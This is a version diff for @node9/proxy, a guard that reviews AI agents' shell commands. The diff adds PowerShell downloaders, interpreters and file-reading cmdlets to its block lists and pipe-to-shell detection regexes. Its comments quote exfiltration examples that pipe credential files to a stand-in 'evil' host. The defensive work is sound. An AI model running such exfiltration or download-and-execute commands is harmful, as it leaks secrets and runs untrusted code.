@node9/proxy 2.20.0 → 2.21.0

package/dist/index.js

@@ -1471,8 +1471,26 @@ var MESSAGE_FLAGS = /* @__PURE__ */ new Set([
   "--subject",
   "--summary"
 ]);
-var SHELL_INTERPRETERS = /* @__PURE__ */ new Set(["bash", "sh", "zsh", "fish", "dash", "ksh"]);
-var DOWNLOAD_CMDS = /* @__PURE__ */ new Set(["curl", "wget"]);
+var SHELL_INTERPRETERS = /* @__PURE__ */ new Set([
+  "bash",
+  "sh",
+  "zsh",
+  "fish",
+  "dash",
+  "ksh",
+  "iex",
+  "invoke-expression",
+  "powershell",
+  "pwsh"
+]);
+var DOWNLOAD_CMDS = /* @__PURE__ */ new Set([
+  "curl",
+  "wget",
+  "iwr",
+  "invoke-webrequest",
+  "irm",
+  "invoke-restmethod"
+]);
 function isCatHeredocOrLit(part) {
   if (!part) return false;
   const t = syntax.NodeType(part);
@@ -1720,7 +1738,21 @@ var FS_READ_TOOLS = /* @__PURE__ */ new Set([
   "uniq",
   "tac",
   "nl",
-  "dd"
+  "dd",
+  // — PowerShell, absent until 2026-09-22 —
+  // Same membership test, "does it emit file contents": Get-Content/gc print
+  // the file (cat), Select-String/sls print matching lines (grep), Format-Hex
+  // dumps bytes (xxd), Import-Csv/Import-Clixml parse and print (jq). Every
+  // one of these read a credential file with no verdict while its POSIX twin
+  // blocked. Lowercase on purpose: PowerShell is case-insensitive and the
+  // prescreen folds case, so `Get-Content` and `GET-CONTENT` both land here.
+  "get-content",
+  "gc",
+  "select-string",
+  "sls",
+  "format-hex",
+  "import-csv",
+  "import-clixml"
 ]);
 var GREP_SHAPE = {
   takesValue: /* @__PURE__ */ new Set([
@@ -2593,6 +2625,12 @@ function extractLiteralArgs(callExpr) {
   return { name, flags, paths: args.map((a) => a.value), words, args };
 }
 var NET_BINARIES = /* @__PURE__ */ new Set([
+  // PowerShell downloaders (2026-09-22). `Invoke-WebRequest -InFile creds`
+  // is the same exfil as `curl -d @creds` and was invisible to isNetworkTool.
+  "iwr",
+  "invoke-webrequest",
+  "irm",
+  "invoke-restmethod",
   "curl",
   "wget",
   "scp",
@@ -3779,6 +3817,12 @@ function evaluateEgress(dests, policy) {
 }
 var SOURCE_COMMANDS = /* @__PURE__ */ new Set([...FS_READ_TOOLS, "tee"]);
 var SINK_COMMANDS = /* @__PURE__ */ new Set([
+  // PowerShell (2026-09-22): `Get-Content key | iwr https://evil -Method POST`
+  // is `cat key | curl`, and scored nothing.
+  "iwr",
+  "invoke-webrequest",
+  "irm",
+  "invoke-restmethod",
   "curl",
   "wget",
   "nc",
@@ -4640,7 +4684,7 @@ var bash_safe_default = {
         {
           field: "command",
           op: "matches",
-          value: "(^|&&|\\|\\||;)\\s*(curl|wget)\\s+[^|]*\\|\\s*(?:(bash|sh|zsh|fish)|(python3?|ruby|perl|node)\\b(?!\\s+-[cem]\\b))",
+          value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)\\s+[^|]*\\|\\s*(?:(bash|sh|zsh|fish|dash|ksh|iex|invoke-expression|powershell|pwsh)|(python3?|ruby|perl|node)\\b(?!\\s+-[cem]\\b))",
           flags: "i"
         }
       ],
@@ -6180,7 +6224,11 @@ var DEFAULT_CONFIG = {
             op: "matches",
             // Anchor curl/wget as a shell command so node -e scripts testing this
             // regex pattern don't self-match as a false positive.
-            value: "(^|&&|\\|\\||;)\\s*(curl|wget)[^|]*\\|\\s*(ba|z|da|fi|c|k)?sh",
+            // Downloader and sink groups mirror the engine's DOWNLOAD_CMDS and
+            // SHELL_INTERPRETERS; pipe-to-shell-vocabulary-drift.spec.ts fails if
+            // either list gains a name this regex does not. The PowerShell sinks
+            // carry \b so `iex` cannot match inside e.g. `iexplore`.
+            value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)[^|]*\\|\\s*(?:(ba|z|da|fi|c|k)?sh|(?:iex|invoke-expression|powershell|pwsh)\\b)",
             flags: "i"
           }
         ],

package/dist/index.mjs

@@ -1441,8 +1441,26 @@ var MESSAGE_FLAGS = /* @__PURE__ */ new Set([
   "--subject",
   "--summary"
 ]);
-var SHELL_INTERPRETERS = /* @__PURE__ */ new Set(["bash", "sh", "zsh", "fish", "dash", "ksh"]);
-var DOWNLOAD_CMDS = /* @__PURE__ */ new Set(["curl", "wget"]);
+var SHELL_INTERPRETERS = /* @__PURE__ */ new Set([
+  "bash",
+  "sh",
+  "zsh",
+  "fish",
+  "dash",
+  "ksh",
+  "iex",
+  "invoke-expression",
+  "powershell",
+  "pwsh"
+]);
+var DOWNLOAD_CMDS = /* @__PURE__ */ new Set([
+  "curl",
+  "wget",
+  "iwr",
+  "invoke-webrequest",
+  "irm",
+  "invoke-restmethod"
+]);
 function isCatHeredocOrLit(part) {
   if (!part) return false;
   const t = syntax.NodeType(part);
@@ -1690,7 +1708,21 @@ var FS_READ_TOOLS = /* @__PURE__ */ new Set([
   "uniq",
   "tac",
   "nl",
-  "dd"
+  "dd",
+  // — PowerShell, absent until 2026-09-22 —
+  // Same membership test, "does it emit file contents": Get-Content/gc print
+  // the file (cat), Select-String/sls print matching lines (grep), Format-Hex
+  // dumps bytes (xxd), Import-Csv/Import-Clixml parse and print (jq). Every
+  // one of these read a credential file with no verdict while its POSIX twin
+  // blocked. Lowercase on purpose: PowerShell is case-insensitive and the
+  // prescreen folds case, so `Get-Content` and `GET-CONTENT` both land here.
+  "get-content",
+  "gc",
+  "select-string",
+  "sls",
+  "format-hex",
+  "import-csv",
+  "import-clixml"
 ]);
 var GREP_SHAPE = {
   takesValue: /* @__PURE__ */ new Set([
@@ -2563,6 +2595,12 @@ function extractLiteralArgs(callExpr) {
   return { name, flags, paths: args.map((a) => a.value), words, args };
 }
 var NET_BINARIES = /* @__PURE__ */ new Set([
+  // PowerShell downloaders (2026-09-22). `Invoke-WebRequest -InFile creds`
+  // is the same exfil as `curl -d @creds` and was invisible to isNetworkTool.
+  "iwr",
+  "invoke-webrequest",
+  "irm",
+  "invoke-restmethod",
   "curl",
   "wget",
   "scp",
@@ -3749,6 +3787,12 @@ function evaluateEgress(dests, policy) {
 }
 var SOURCE_COMMANDS = /* @__PURE__ */ new Set([...FS_READ_TOOLS, "tee"]);
 var SINK_COMMANDS = /* @__PURE__ */ new Set([
+  // PowerShell (2026-09-22): `Get-Content key | iwr https://evil -Method POST`
+  // is `cat key | curl`, and scored nothing.
+  "iwr",
+  "invoke-webrequest",
+  "irm",
+  "invoke-restmethod",
   "curl",
   "wget",
   "nc",
@@ -4610,7 +4654,7 @@ var bash_safe_default = {
         {
           field: "command",
           op: "matches",
-          value: "(^|&&|\\|\\||;)\\s*(curl|wget)\\s+[^|]*\\|\\s*(?:(bash|sh|zsh|fish)|(python3?|ruby|perl|node)\\b(?!\\s+-[cem]\\b))",
+          value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)\\s+[^|]*\\|\\s*(?:(bash|sh|zsh|fish|dash|ksh|iex|invoke-expression|powershell|pwsh)|(python3?|ruby|perl|node)\\b(?!\\s+-[cem]\\b))",
           flags: "i"
         }
       ],
@@ -6150,7 +6194,11 @@ var DEFAULT_CONFIG = {
             op: "matches",
             // Anchor curl/wget as a shell command so node -e scripts testing this
             // regex pattern don't self-match as a false positive.
-            value: "(^|&&|\\|\\||;)\\s*(curl|wget)[^|]*\\|\\s*(ba|z|da|fi|c|k)?sh",
+            // Downloader and sink groups mirror the engine's DOWNLOAD_CMDS and
+            // SHELL_INTERPRETERS; pipe-to-shell-vocabulary-drift.spec.ts fails if
+            // either list gains a name this regex does not. The PowerShell sinks
+            // carry \b so `iex` cannot match inside e.g. `iexplore`.
+            value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)[^|]*\\|\\s*(?:(ba|z|da|fi|c|k)?sh|(?:iex|invoke-expression|powershell|pwsh)\\b)",
             flags: "i"
           }
         ],

package/dist/scan-ink.mjs

@@ -810,7 +810,21 @@ var FS_READ_TOOLS = /* @__PURE__ */ new Set([
   "uniq",
   "tac",
   "nl",
-  "dd"
+  "dd",
+  // — PowerShell, absent until 2026-09-22 —
+  // Same membership test, "does it emit file contents": Get-Content/gc print
+  // the file (cat), Select-String/sls print matching lines (grep), Format-Hex
+  // dumps bytes (xxd), Import-Csv/Import-Clixml parse and print (jq). Every
+  // one of these read a credential file with no verdict while its POSIX twin
+  // blocked. Lowercase on purpose: PowerShell is case-insensitive and the
+  // prescreen folds case, so `Get-Content` and `GET-CONTENT` both land here.
+  "get-content",
+  "gc",
+  "select-string",
+  "sls",
+  "format-hex",
+  "import-csv",
+  "import-clixml"
 ]);
 var GREP_SHAPE = {
   takesValue: /* @__PURE__ */ new Set([
@@ -1291,7 +1305,7 @@ var bash_safe_default = {
         {
           field: "command",
           op: "matches",
-          value: "(^|&&|\\|\\||;)\\s*(curl|wget)\\s+[^|]*\\|\\s*(?:(bash|sh|zsh|fish)|(python3?|ruby|perl|node)\\b(?!\\s+-[cem]\\b))",
+          value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)\\s+[^|]*\\|\\s*(?:(bash|sh|zsh|fish|dash|ksh|iex|invoke-expression|powershell|pwsh)|(python3?|ruby|perl|node)\\b(?!\\s+-[cem]\\b))",
           flags: "i"
         }
       ],

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@node9/proxy",
-  "version": "2.20.0",
+  "version": "2.21.0",
   "description": "IAM for your AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.",
   "main": "./dist/index.js",
   "module": "./dist/index.mjs",